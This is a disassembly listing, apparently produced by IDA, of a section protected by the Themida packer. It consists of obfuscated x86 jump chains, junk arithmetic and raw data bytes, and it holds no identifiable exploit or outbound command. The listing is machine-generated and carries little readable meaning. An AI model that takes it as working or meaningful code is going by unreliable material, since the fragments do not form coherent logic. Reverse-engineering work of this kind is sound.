		dd 895C2414h, 4BD242Ch,	1000000h, 3CC5E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D9B6:				; CODE XREF: Themida_:005647DFj
		or	ecx, eax
		jmp	loc_5674B2
; ---------------------------------------------------------------------------
		db 1, 0C8h, 59h
		dd 4BD55h, 0E8010000h, 2404875Dh, 601BE9h, 81E78900h, 4C7h
		dd 4EF8300h, 5C243C87h,	68240C89h, 4C0Eh, 68243489h, 424277BEh
		dd 5EEC15Eh, 597FEE81h,	0F68108AFh, 0F981AF76h,	8904EC83h
		dd 0F2892414h, 0FF78E7E9h, 88E943FFh, 8000002Ah, 0AFE9E7EFh
		dd 5CFFFF3Eh, 0FF36BCE9h, 5FFA89FFh, 6631EA81h,	0DAF743F1h
		dd 24EEE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DA32:				; CODE XREF: Themida_:00566B3Cj
		add	edi, 653A3056h
		xchg	ebx, edi
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, edi
		sub	edi, 2EFB6722h
		xor	edi, 7C595B79h
		sub	edx, 261A4B7Ch
		add	edx, edi
		jmp	loc_561E52
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0C39EE904h, 0E889FFFFh, 0FFCB83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DA69:				; CODE XREF: Themida_:0056C75Ej
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 6DCE1D9Eh
		add	edx, 11450959h
		dec	edx
		sub	edx, 7F1326F2h
		add	edi, edx
		pop	edx
		jmp	loc_56DCD0
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 68000000h, 6CCDh, 0BF243C89h, 28A0056h, 0FF58D4E9h
		dd 0C8B66FFh, 4EC8324h,	54243C89h, 81243C8Bh, 4C4h, 4C78100h
		dd 68000000h, 6662h, 0FFC4A0E9h, 755768FFh, 2C890000h
		dd 505D5424h, 1AB7E9h, 550EBF00h, 0F5BB7B6Fh, 317CBA1Dh
		dd 919FE9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DAE6:				; CODE XREF: Themida_:0056B7C4j
		shr	edx, 5
		sub	edx, 18A2Fh
		mov	edi, edx
		pop	edx
		jmp	loc_56E9C2
; ---------------------------------------------------------------------------
		db 5Eh
		dd 34FFDF01h, 89515B24h, 4C181E1h, 83000000h, 8AE904C1h
		dd 0FF000047h, 4813877h, 753D1D24h, 240C8B4Fh, 6804C483h
		dd 1E56h, 0FFD384E9h, 0E08950FFh, 405h,	4E88300h, 5C240487h
		dd 0FFF639E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DB3D:				; CODE XREF: Themida_:0056204Dj
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56D828
; ---------------------------------------------------------------------------


loc_56DB47:				; CODE XREF: Themida_:0057278Cj
		xor	edi, 5B34939Eh
		add	ebp, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56890E
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 0E908246Ch, 0FFFFB279h
; ---------------------------------------------------------------------------


loc_56DB64:				; CODE XREF: Themida_:00569049j
		push	ebp
		push	eax
		push	60234820h
		pop	eax
		xor	eax, 5E855E21h
		xor	eax, 14413D03h
		jmp	loc_561425
; ---------------------------------------------------------------------------
		db 0BAh
		dd 501875B5h, 8107E2C1h, 6C2325CAh, 0A262E96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DB8E:				; CODE XREF: Themida_:0056CE50j
		not	eax
		push	edi
		push	eax
		pop	edi
		pop	eax
		add	edi, 18992383h
		xor	edi, 734405DBh
		sub	edi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 49673B88h
		xor	ebp, 0DCB68C9h
		add	ebp, 160566F6h
		xor	ebp, 64E54577h
		jmp	loc_57188E
; ---------------------------------------------------------------------------
		dd 59F38143h, 81343438h, 377EAEF3h, 8BD80101h, 0C481241Ch
		dd 4, 4551685Eh, 34890000h, 2BE24h, 0F0010000h,	1A5E95Eh
		dd 52660000h, 0FFF6DEE9h, 0F7525DFFh, 815A2414h, 3218A3F2h
		dd 0B8BE566Eh, 5303BD65h, 6B6AFBBBh, 4E3C173h, 0E3C1D3F7h
		dd 50C38102h, 81FB6404h, 692400F3h, 5BDE2168h, 1600EE81h
		dd 69E96DC8h, 57FFFF4Eh, 0BD55E789h, 33B72EA5h,	24B1E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DC3E:				; CODE XREF: Themida_:00565CF1j
		xchg	edx, [esp]
		pop	esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_56B60E
; ---------------------------------------------------------------------------


loc_56DC6E:				; CODE XREF: Themida_:00561326j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		push	esp
		jmp	loc_562243
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 0C681E689h, 4, 4685253h, 0E9000000h, 0FFFF4EF1h
; ---------------------------------------------------------------------------


loc_56DC9C:				; CODE XREF: Themida_:0056F55Ej
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_57137A
; ---------------------------------------------------------------------------
		dw 489h
aS_8		db '$é¾,',0
		align 2


loc_56DCB2:				; CODE XREF: Themida_:00571C8Dj
		sub	ebp, ecx
		jmp	loc_565612
; ---------------------------------------------------------------------------
aMsra		db 'ìéra',0
		align 10h


loc_56DCC0:				; CODE XREF: Themida_:00570619j
		pop	esi
		add	ecx, edi
		add	ecx, 13D908ADh
		push	ebp
		push	ebx
		jmp	loc_56CE0C
; ---------------------------------------------------------------------------


loc_56DCD0:				; CODE XREF: Themida_:0056DA85j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56F51C
; ---------------------------------------------------------------------------
aFTx		db '´f(âX',0
		db 0DAh, 80h, 0C2h
		dd 0DAC28066h, 8EAC05Bh, 4EC8151h, 89000000h, 65B42404h
		dd 9430E953h, 34FFFFFFh, 2AE95824h, 8F000052h, 4832404h
		dd 3C8B0424h, 4C48124h,	55000000h, 6D054EBDh, 81DDF76Ah
		dd 813243E5h, 0A8BB5313h, 8123384Dh, 0E919EBF3h, 81D3F74Fh
		dd 0F76740E3h, 0C3814364h, 0EE59AB01h, 15BDD01h, 4030E9EFh
		dd 4BDFFFFh, 1000000h, 0C952E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DD5A:				; CODE XREF: Themida_:005675C1j
		mov	eax, 620B0F36h
		xor	eax, 183D1CB8h
		sub	eax, 272AB16Dh
		sub	ebp, eax
		pop	eax
		sub	ebp, ebx
		add	ebp, 530B6221h
		jmp	loc_564E51
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 5F1A1BFCh, 0FCC7815Fh, 5E5F1A1Bh, 31E6CF81h,	56E928D3h
		dd 5000004Ch, 42474FFh,	24048F58h, 6624248Bh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 54D25032h
		xor	edi, 7D974299h
		push	esi
		push	ecx
		mov	ecx, 41551FD4h
		or	ecx, 41FF49F9h
		add	ecx, 2573DB12h
		push	ecx
		pop	esi
		pop	ecx
		xor	esi, 1BD77CEDh
		push	6487h
		jmp	loc_565D4D
; ---------------------------------------------------------------------------
		dd 4C481h, 0EE810000h, 59675D1Fh, 33E9CE01h, 8BFFFF3Ah
		dd 0EE92414h, 81FFFF89h, 471188C1h, 0D1F2E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DDFE:				; CODE XREF: Themida_:0056C150j
		add	esp, 4
		push	ebp
		jmp	loc_56191A
; ---------------------------------------------------------------------------


loc_56DE0A:				; CODE XREF: Themida_:0056AAB7j
		pop	ecx
		push	edx
		push	3EFD3CFEh
		jmp	loc_56F243
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 21322A2Ch, 59C8895Fh, 52EA815Dh, 0E906FA4Bh,	3506h
; ---------------------------------------------------------------------------


loc_56DE2C:				; CODE XREF: Themida_:0056F1E7j
		push	edx
		mov	edx, 6C633E13h
		sub	edx, 6C633E0Fh
		jmp	loc_5727CF
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 0D13E956h, 8B660000h, 9768240Ch, 8900000Ch, 0E2892414h
		dd 0FFE5EAE9h, 4B8268FFh, 0C890000h, 53E18924h,	4BBh, 5BD90100h
		dd 3304C183h, 0C31240Ch, 240C3324h, 0FFF402E9h,	490468FFh
		dd 9AE90000h, 81FFFF97h, 4ECh, 243C8900h, 0FFB35EE9h, 3017B2FFh
		dd 805A66D3h, 0D988D4C3h, 0E9F9865Bh, 0FFFF59CCh, 33240431h
		dd 0E95C2404h, 0FFFFF217h, 1F40EBBBh, 246C8155h, 0FA367808h
		dd 245C015Ah, 4405E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DECA:				; CODE XREF: Themida_:00571471j
		add	eax, 671D0D90h
		sub	eax, ebp
		sub	eax, 671D0D90h
		jmp	loc_567557
; ---------------------------------------------------------------------------
		db 0B4h
		dd 58E52829h, 0FF6835E9h, 59CA88FFh, 2C64B753h,	2D2C9Ch
		dd 0EAA3E9F8h, 692DFFFFh, 1658E22h, 226905E8h, 2EE9658Eh
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DF07:				; CODE XREF: Themida_:00562515j
		dec	ebx
		not	ebx
		xor	ebx, 5F7577B4h
		mov	esi, ebx
		pop	ebx
		add	esi, 132D49A5h
		xor	esi, 10E181F2h
		jmp	loc_571480
; ---------------------------------------------------------------------------


loc_56DF24:				; CODE XREF: Themida_:0056E22Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 2
		push	edx
		mov	edx, 40D82297h
		sub	edx, 12F5FA81h
		jmp	loc_5725FC
; ---------------------------------------------------------------------------


loc_56DF4E:				; CODE XREF: Themida_:00565D5Dj
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_56864B
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFFB60E9h, 240C33FFh, 33240C31h,	248B240Ch
		dd 58486824h, 14890000h, 4EC8324h, 89242C89h, 4169E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DF86:				; CODE XREF: Themida_:00572924j
		or	ebx, 70BA5F69h
		sub	ebx, 12F5169Eh
		add	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 239246E1h
		sub	edx, 10B21DBh
		and	edx, 5ED13328h
		sub	edx, 4174354Bh
		xor	edx, 0E1F687E9h
		jmp	loc_571669
; ---------------------------------------------------------------------------
		dd 3EEABA52h, 0EA813D79h, 2B192953h, 3E368h, 243C8900h
		dd 0AA61AABFh, 19E9576Ah, 5600002Fh, 0FFA655E9h, 4C483FFh
		dd 3EB3E9h, 2DB95100h, 0F72FEB1Fh, 0BDC181D1h, 812F0A0Dh
		dd 683515F1h, 9862E956h, 8758FFFFh, 248B242Ch, 28B5E924h
		dd 0F380FFFFh, 33B9E9A5h, 0C481FFFFh, 4, 154FE9h, 4C48100h
		dd 53000000h, 0FF8D3BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E029:				; CODE XREF: Themida_:0055F914j
		mov	esi, 50AF0114h
		jmp	loc_5733D2
; ---------------------------------------------------------------------------
		db 1
		dd 48B5DEBh, 39116824h,	34890000h, 55E68924h, 4BDh, 60C68100h
		dd 143236Eh, 60EE81EEh,	5D43236Eh, 4BA52h, 0D6010000h
		dd 74FF565Ah, 8F5E0424h, 875C2404h, 248B241Ch, 2404FE24h
		dd 0A57E99Ch, 6F68FFFFh, 0E957F42Ah, 0FFFF9062h, 326DE781h
		dd 0EFC17B83h, 7CEF8102h, 0E9841F89h, 0FFFFF208h, 81C2815Eh
		dd 293B5764h, 66668C2h,	0C890000h, 72346824h, 685947B9h
		dd 26C5h, 0BB241C89h, 7617773Bh, 34FFD901h, 89575B24h
		dd 4C781E7h, 83000000h,	3C8704C7h, 8AE95C24h, 0BDFFFF71h
		dd 49E626BFh, 5A5DEF01h, 2B96BB53h, 0EB816CE5h,	6CE52B94h
		dd 0FFBE4BE9h, 510934FFh, 5FE9C188h, 4F00001Bh,	0E907EFC1h
		dd 0FFFF9297h
; ---------------------------------------------------------------------------


loc_56E104:				; CODE XREF: Themida_:00566112j
		mov	edx, 4
		mov	ecx, edx
		pop	edx
		add	edx, ecx
		pop	ecx
		jmp	loc_56F271
; ---------------------------------------------------------------------------
		dd 5E5FFD01h, 5502C583h, 42474FFh, 0FFEC25E9h, 58E628FFh
		dd 40D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E12D:				; CODE XREF: Themida_:005721D4j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		xor	dword ptr [esp], 6C5180Dh
		pop	eax
		xor	eax, 6C5180Dh
		mov	edx, [esp]
		push	3120h
		mov	[esp], esi
		jmp	loc_5668B1
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0D4F602ECh, 0E917CC80h, 0FFFFCAD9h, 8904EC83h, 8B54241Ch
		dd 0C483241Ch, 4EC8104h, 89000000h, 4BA2414h, 1000000h
		dd 0BD555AD3h, 519234FBh, 0FFE6E6E9h, 0E9EE01FFh, 0FFFF4923h
; ---------------------------------------------------------------------------


loc_56E18C:				; CODE XREF: Themida_:0056EFF6j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_571A76
; ---------------------------------------------------------------------------
		db 5Ah,	68h, 0FCh
		dd 8900000Dh, 89502404h, 405E0h, 0F2E90000h
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E1AB:				; CODE XREF: Themida_:00573E50j
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55FBEB
; ---------------------------------------------------------------------------


loc_56E1BD:				; CODE XREF: Themida_:0056F12Cj
		push	esp
		pop	edx
		jmp	loc_568EF3
; ---------------------------------------------------------------------------
		dd 6FE5E781h, 0E78157C6h, 4D82024Ah, 2F52CF81h,	0EFC13650h
		dd 0FC78104h, 1FC82DDh,	0E8835FF8h, 4E13E904h, 0EF80FFFFh
		dd 18C780DCh, 8090B252h, 0D7083AEAh, 8EFC05Ah, 8006EFC0h
		dd 0F800AFEFh, 0FF19FBE9h, 348B59FFh, 536EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E212:				; CODE XREF: Themida_:00567227j
		mov	ebx, 13965157h
		and	esi, ebx
		pop	ebx
		xor	esi, 0CD00177h
		shr	esi, 4
		add	esi, 0FE32DEFDh
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_56DF24
; ---------------------------------------------------------------------------
		db 1
		dd 0D26851D0h, 5968F858h, 0FF12BFE9h, 58B252FFh, 9DE9DAF6h
		dd 81000041h, 0D6A1C2C1h, 59CF8981h, 0FF6861E9h, 0BD5553FFh
		dd 0FD04051h, 0F75DEB89h, 0FFC383DBh, 25A2E9h, 246C0100h
		dd 5FB85004h, 15E9420h,	58082444h, 5D2434FFh, 4E31E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E285:				; CODE XREF: Themida_:005647D7j
		push	eax
		jmp	loc_5641A6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 6EBC004h, 52DDCB80h, 0EBE943B2h,	68FFFFE5h
		dd 700Eh, 0B4240489h, 58E18833h, 3F2568h, 24048900h, 0C100BBB0h
		dd 0E9CB3058h, 12B9h, 83240C8Bh, 0EDE904C4h, 89FFFFFCh
		dd 28E92414h, 68FFFF2Dh, 6437245Dh, 4446E9h, 0A4E38100h
		dd 0E917A03Ch, 0FFFF4C8Eh
; ---------------------------------------------------------------------------


loc_56E2E8:				; CODE XREF: Themida_:00572420j
		pop	edx
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 53C534AAh
		jmp	loc_566B62
; ---------------------------------------------------------------------------
		db 35h
		dd 3E2C457Ch, 0FFFFFF2Dh, 0B597E9FFh, 3C8BFFFFh, 4C48324h
		dd 0E9EE875Eh, 0FFFF8FE1h, 6A34BD55h, 0BE562100h, 1AA674F0h
		dd 4B3FEE81h, 77E94AE8h, 68FFFFB6h, 10A7h, 0FF2C40E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E335:				; CODE XREF: Themida_:00571BBCj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4


loc_56E342:				; CODE XREF: Themida_:0056B0EDj
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56D4F0
; ---------------------------------------------------------------------------


loc_56E356:				; CODE XREF: Themida_:0056C0A2j
		sub	eax, ebx
		add	eax, 46D06561h
		add	eax, 50F26DBEh
		jmp	loc_562CEA
; ---------------------------------------------------------------------------


loc_56E367:				; CODE XREF: Themida_:005714D3j
		or	esi, 6EDF0BC7h
		jmp	loc_569EB5
; ---------------------------------------------------------------------------
		dw 0B8B9h
		dd 891D5D6Eh, 240C8BCAh, 0C104C483h, 0EAC106EAh, 64C28103h
		dd 89703E59h, 0C1815AD1h, 2C4327C9h, 0FF6F0BE9h, 4C483FFh
		dd 2641E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E3A1:				; CODE XREF: Themida_:0056FC02j
		push	0B68h
		jmp	loc_568B44
; ---------------------------------------------------------------------------


loc_56E3AB:				; CODE XREF: Themida_:00568750j
		push	eax
		push	ebx
		mov	ebx, 75D75FA6h
		mov	eax, ebx
		pop	ebx
		or	eax, 98C3011h
		jmp	loc_56D64C
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 2474FF24h, 60E95A04h, 2CFFFF70h, 3C1EE99Dh
		dd 3C8BFFFFh, 4C48324h,	4C481h,	0C8010000h, 24048759h
		dd 0E924248Bh, 0FFFFA9A5h, 5C241C87h, 5C243487h, 6E8DBD55h
		dd 0E94D5863h, 0FFFF5CBCh, 4BEh, 5EF50100h, 0FF461DE9h
		dd 0A1768FFh, 0C15A1377h, 0E28108EAh, 1DBE1934h, 363DF281h
		dd 0C2817E89h, 9429F729h, 0FE9D589h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E433:				; CODE XREF: Themida_:0056FA69j
		add	esp, 4
		jmp	loc_5656E3
; ---------------------------------------------------------------------------


loc_56E43B:				; CODE XREF: Themida_:0056A4A1j
		mov	esp, [esp]
		push	ebp
		push	eax
		jmp	loc_56C759
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 8Fh
		dd 0BA08ED15h, 131B43FFh, 0C8BCA01h, 0E3895324h, 4C381h
		dd 0C3810000h, 4, 5C241C87h, 8953D2F7h,	4C381E3h, 81000000h
		dd 4EBh, 21FFE900h, 0CF810000h,	14ED137Bh, 1D4EF81h, 0E7C11CC0h
		dd 0E7F78107h, 1E0F789h, 0D3015FFBh, 0FFDEE7E9h, 44E952FFh
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E4A3:				; CODE XREF: Themida_:00560520j
		mov	edx, eax
		pop	eax
		mov	ecx, edx
		pop	edx
		and	ecx, 78F14259h
		jmp	loc_5603A0
; ---------------------------------------------------------------------------
		dd 0E903EAC0h, 0FFFF42AAh, 9E9DAF6h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E4C3:				; CODE XREF: Themida_:00568170j
		pop	esi
		push	323Bh
		mov	[esp], edi
		push	1B75h
		jmp	loc_563D30
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 4BB535Ah, 81000000h,	0C507B6C1h, 81D90179h, 0C507B6E9h
		dd 0C335B79h, 240C3124h, 8B240C33h, 68662424h, 6FE96778h
		dd 0F6000008h, 5BD888D3h, 0C3802634h, 52C328CDh, 0E6D010B6h
		dd 80D9B450h, 0DCF61CCCh, 142AE9h, 81E18900h, 4C1h, 4E98100h
		dd 51000000h, 6FCE9h, 0B7C28100h, 1FEEAFCh, 74E95AD3h
		dd 8B000058h, 0C4812434h, 4, 0AC45C281h, 3E0515A6h, 517DBC21h
		dd 0F858D2B9h, 8BC80168h, 0C481240Ch, 4, 0FFFCC6E9h, 81CA29FFh
		dd 35094BC2h, 240C8B72h, 0FFF8C0E9h, 4EC581FFh,	0E976917Dh
		dd 0FFFF973Ch, 3B87E281h, 0D2F736B7h, 393EE942h, 0CDBAFFFFh
		dd 0F7799057h, 0E95042DAh, 0FFFFC1C6h, 337468h,	24148900h
		dd 0FAE98CB6h, 5BFFFF49h, 0FF62EAE9h, 76C380FFh, 0FFC0D5E9h
		dd 5EF701FFh, 0EF81EF01h, 1CA254CFh, 38BAE9h, 0E9AD6600h
		dd 0FFFF38AAh, 1360EA81h, 0DA01590Eh, 1360C281h, 0C281590Eh
		dd 4125340Fh, 7C24BB53h, 0DA0169F9h, 0BF575B5Bh, 10653D82h
		dd 835FFA01h, 348904ECh, 0E48ABE24h, 4FE9DDD3h,	83FFFFDCh
		dd 48904ECh, 4B824h, 0C3010000h, 33CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_56E621:				; CODE XREF: Themida_:00570584j
		add	esi, 5B1E7E31h
		jmp	loc_564073
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	8A682434h, 0FF038A7Ch
		dd 0FCE92434h, 8900003Ah, 5CE9243Ch, 5EFFFF7Dh,	875BDF01h
		dd 248B243Ch, 4EC8324h,	0FFD58EE9h, 81E789FFh, 4C7h, 5636E900h
		dd 6664FFFFh
		db 8Bh,	2, 56h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebp, 4
		jmp	loc_561482
; ---------------------------------------------------------------------------


loc_56E690:				; CODE XREF: Themida_:005612E2j
		mov	edi, esp
		jmp	loc_5730C0
; ---------------------------------------------------------------------------


loc_56E697:				; CODE XREF: Themida_:005623E6j
		mov	eax, 0CD2CC68Eh
		add	edi, eax
		pop	eax
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		xchg	esi, [esp]
		xor	esi, edi
		jmp	loc_561C3D
; ---------------------------------------------------------------------------
		db 0BBh, 0Eh, 3Bh
aRSo		db ')é®:',0
		dw 0B800h
aZmfSn2		db '§m”|é­2',0
		db 0
; ---------------------------------------------------------------------------


loc_56E6CD:				; CODE XREF: Themida_:0056A34Cj
		pop	eax
		jmp	loc_56FAE2
; ---------------------------------------------------------------------------
		align 4
		dd 815B66F8h, 4ECh, 241C8900h, 0B373B551h, 0BFE952D4h
		dd 8B000034h, 0C4812434h, 4, 4511E9h, 0ECE98100h, 0C1758A57h
		dd 0E98108E1h, 0E4E594BDh, 48EAE9h, 240CFF00h, 9206E99Ch
		dd 481FFFFh, 511E4224h,	0ED815D2Fh, 2F511E42h, 43E9515Eh
		dd 81000020h, 142BFAF1h, 0A34AE93Ch, 489FFFFh, 64BE5624h
		dd 0E91EDA1Fh, 3F69h, 0E95DEB01h, 0FC5h, 27D8EE81h, 0C2813DF7h
		dd 4F114460h, 0E2E9F201h, 81FFFF63h, 0F57161F6h, 0E9F2211Eh
		dd 0FFFFFDD7h
; ---------------------------------------------------------------------------


loc_56E76C:				; CODE XREF: Themida_:00571E75j
		add	ebx, esi
		pop	esi
		add	eax, 768715C8h
		jmp	loc_56187D
; ---------------------------------------------------------------------------


loc_56E779:				; CODE XREF: Themida_:0056450Aj
		xor	ecx, 15605961h
		sub	ecx, 3D3521F8h
		jmp	loc_56B1EC
; ---------------------------------------------------------------------------


loc_56E78A:				; CODE XREF: Themida_:00569C6Cj
		xor	al, 0DCh
		sub	bl, al
		jmp	loc_56D0FA
; ---------------------------------------------------------------------------


loc_56E793:				; CODE XREF: Themida_:00565009j
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------


loc_56E7B1:				; CODE XREF: Themida_:0055F7F1j
		push	68581584h
		jmp	loc_5608C8
; ---------------------------------------------------------------------------
		db 1
		dd 8EBB53F0h, 0E93A5824h, 0FFFFF3F8h, 24048B66h, 6C3968h
		dd 0B541E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E7D6:				; CODE XREF: Themida_:0056D25Ej
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5605CA
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0C3h
		dd 14C4B35h, 0D1F75DE9h, 0FFE82DE9h, 0F4C480FFh, 7AC480h
		dd 7CB551FCh, 80DBE580h, 0EC2822C5h, 0FF2C08E9h, 243C8BFFh
		dd 4C481h, 62350000h, 5771D5F0h, 0E14795BFh, 21E78138h
		dd 0E9334F58h, 0FFFF3603h, 3057E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E832:				; CODE XREF: Themida_:00564019j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56EE4C
; ---------------------------------------------------------------------------
aHAXhz4		db 'hÎ<a-Xhz4',0
		dw 8900h
		dd 0BE56241Ch, 48CD36DCh, 1D16E9h, 0D830AC00h, 1995E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E85D:				; CODE XREF: Themida_:005693AFj
		pop	edi
		jmp	loc_5649BF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 241C8700h, 0BC40E95Ch,	0FE89FFFFh, 0E19DE95Fh
		dd 0BA25FFFFh, 54F7A0Fh, 1, 2FB505h, 2C00E932h,	0E952FFFFh
		dd 591h, 0A6F9E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E89A:				; CODE XREF: Themida_:005619BEj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		xchg	ecx, [esp]
		jmp	loc_571B9C
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 55582434h, 242C8B54h, 4889E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E8BD:				; CODE XREF: Themida_:0055EEFBj
		sub	eax, 237304F8h
		add	eax, ebp
		add	eax, 237304F8h
		sub	eax, 20BB37D1h
		pop	ebp
		push	2EF2h
		jmp	loc_56B50E
; ---------------------------------------------------------------------------


loc_56E8D9:				; CODE XREF: Themida_:0056EA44j
		add	al, bh
		pop	ebx
		push	cx
		mov	ch, 0DCh
		jmp	loc_562B83
; ---------------------------------------------------------------------------


loc_56E8E5:				; CODE XREF: Themida_:00563B98j
		sub	bl, 54h
		add	bl, al
		add	bl, 54h
		push	edx
		mov	dh, 0E0h
		inc	dh
		or	dh, 2Dh
		jmp	loc_56A80F
; ---------------------------------------------------------------------------
		dw 1487h
		dd 50575C24h, 4B8h, 0BF575000h,	59EE2BD7h, 4247C31h, 0FF0E48E9h
		dd 95B850FFh, 2D3CB85Bh, 209337B8h, 0C7E9E0D1h,	0FFFFFF67h
		dd 34FF2434h, 2434FF24h, 0E924048Bh, 0FFFF14C1h, 240C8B58h
		dd 535E5456h, 0FF5149E9h, 0CE815EFFh, 64202FF2h, 18C3E9h
		dd 64E95200h, 1FFFF41h,	219DE9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E95E:				; CODE XREF: Themida_:00567147j
		add	esi, 5AEC3527h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	2C60h
		jmp	loc_568D06
; ---------------------------------------------------------------------------
		dd 0C2324005h, 1F4FE984h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E982:				; CODE XREF: Themida_:00567899j
		add	ebx, 4
		jmp	loc_5688B5
; ---------------------------------------------------------------------------


loc_56E98D:				; CODE XREF: Themida_:0056426Cj
		pop	esp
		xchg	edi, [esp]
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF20EAE9h, 2CF581FFh, 29E9CE5Eh, 41E95DE9h,	55FFFF3Fh
		dd 0AA240481h, 581B3E1Bh, 3E1BAA2Dh, 3C38E91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E9C2:				; CODE XREF: Themida_:0056DAF2j
		mov	ecx, edi
		jmp	loc_5688C8
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFF7BFAh
; ---------------------------------------------------------------------------


loc_56E9D4:				; CODE XREF: Themida_:005730B1j
		xchg	edi, [esp]
		jmp	loc_5690E3
; ---------------------------------------------------------------------------
aLSa		db '‹$$éí',0
		dw 0FFFFh
		dd 0E904C483h, 0FFFF29C4h, 543968h, 24048900h, 88FE9h
		dd 8BE83100h, 0C483242Ch, 9EEF8104h, 137F577h, 9EC781C7h
		dd 8B37F577h, 0C4832404h, 0C0B60F04h, 818734FFh, 4ECh
		dd 24048900h, 0FF259CE9h, 4B9FFh, 3FE90000h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EA33:				; CODE XREF: Themida_:005729C2j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	eax
		jmp	loc_56E8D9
; ---------------------------------------------------------------------------
		db 1, 0C5h, 68h
